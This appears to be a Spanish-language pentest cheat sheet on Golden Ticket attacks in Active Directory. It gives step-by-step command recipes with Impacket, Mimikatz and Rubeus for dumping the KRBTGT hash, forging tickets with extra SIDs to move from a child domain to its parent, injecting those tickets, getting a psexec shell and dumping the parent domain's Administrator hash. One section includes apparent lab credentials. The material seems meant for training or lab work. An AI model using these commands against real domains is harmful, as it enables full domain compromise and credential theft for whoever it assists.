Golden Ticket

Directamete to Parent Domain

Impacket

Paso 1: Extraer el SID del usuario.

impacket-getPac -targetUser '<user>' <domain>/'<user>:<password>'

Paso 2: Generamos el ticket

impacket-ticketer -nthash '<hash ntlm del usuario a suplantar>' -user '<user a suplantar>' -groups 500 -domain-sid '<sid>' -domain <domain> -dc-ip <ip> <user>
export KRB5CCNAME=Administrator.ccache

Paso 3: Configuraciones necesarias

nano /etc/hosts
--------------------
<ip>    <domain>    <hostname.domain>
nano /etc/resolv.conf
--------------------
nameserver    <ip>
ntpdate <ip o hostname>

Paso 4: Explotar

impacket-psexec -k -no-pass <domain>/<user a suplantar>@<ip o hostname>

Child to Parent Domain

Mimikatz

Paso 1: Extraer el hash del usuario KRBTGT del hijo

impacket-secretsdump -debug -dc-ip <ip> <child domain>/<user>:<pass>

Paso 2: Conseguir los SID del Parent Domain

whoami /user
nltest /domain_trusts

Paso 3: En Mimikatz (en child domain):

.\Mimikatz.exe
privilege::debug
kerberos::golden /user:fakeadmin /domain:child.domain.local /sid:<SID_PADRE> /krbtgt:<KRBTGT_HASH_HIJO> /sids:<SID_PADRE-512> /ticket:golden.kirbi /id:500
  • /domain: → del hijo.

  • /sid: → del padre.

  • /sids: → grupo Domain Admins del padre (<SID_PADRE>-512).

  • /krbtgt: → del hijo (no del padre).

Paso 4: Inyectar el ticket

kerberos::ptt golden.kirbi

Paso 5: Accede a recursos del dominio padre, como

dir \\dc.domain.local\c$

Mimikatz y Rubeus

Paso 1: Extraer el hash del usuario KRBTGT del hijo

impacket-secretsdump -debug -dc-ip <ip> <child domain>/<user>:<pass>

Paso 2: Conseguir los SID del Parent Domain

whoami /user
nltest /domain_trusts

Paso 3: En Mimikatz (en child domain):

.\Mimikatz.exe
privilege::debug
kerberos::golden /user:fakeadmin /domain:child.domain.local /sid:<SID_PADRE> /krbtgt:<KRBTGT_HASH_HIJO> /sids:<SID_PADRE-512> /ticket:golden.kirbi /id:500
  • /domain: → del hijo.

  • /sid: → del padre.

  • /sids: → grupo Domain Admins del padre (<SID_PADRE>-512).

  • /krbtgt: → del hijo (no del padre).

Paso 4: Inyectar el ticket

.\Rubeus.exe ptt /ticket:golden.kirbi

Paso 5: Accede a recursos del dominio padre, como

dir \\dc.domain.local\c$

Impacket

Paso 1: Extraer el hash del usuario KRBTGT del hijo

impacket-secretsdump -debug child/corpmngr:'User4&*&*'@cdc.child.warfare.corp -just-dc-user 'child\krbtgt'

Paso 2: Extrater los SID del Parent Domain y del Child Domain

impacket-lookupsid child/corpmngr:'User4&*&*'@child.warfare.corp
impacket-lookupsid child/corpmngr:'User4&*&*'@warfare.corp

Paso 3: forjar el golden ticket con ticketer

impacket-ticketer -domain <child domain> -aesKey <hash krbtgt> -domain-sid <child sid> -groups 516 -user-id 1106 -extra-sid <parent sid> 'corpmngr'
export KRB5CCNAME=corpmngr.ccache

Paso 4: solicitar el ticket de autentificación.

impacket-getST -spn 'CIFS/dc01.warfare.corp' -k -no-pass child.warfare.corp/corpmngr -debug
export KRB5CCNAME=corpmngr@CIFS_dc01.warfare.corp@WARFARE.CORP.ccache

Paso 5: dumpear la sam del parent domain

impacket-secretsdump -k -no-pass dc01.warfare.corp -just-dc-user 'warfare\Administrator' -debug

Con esto, solo faltaría hacer el pass de hash.

Last updated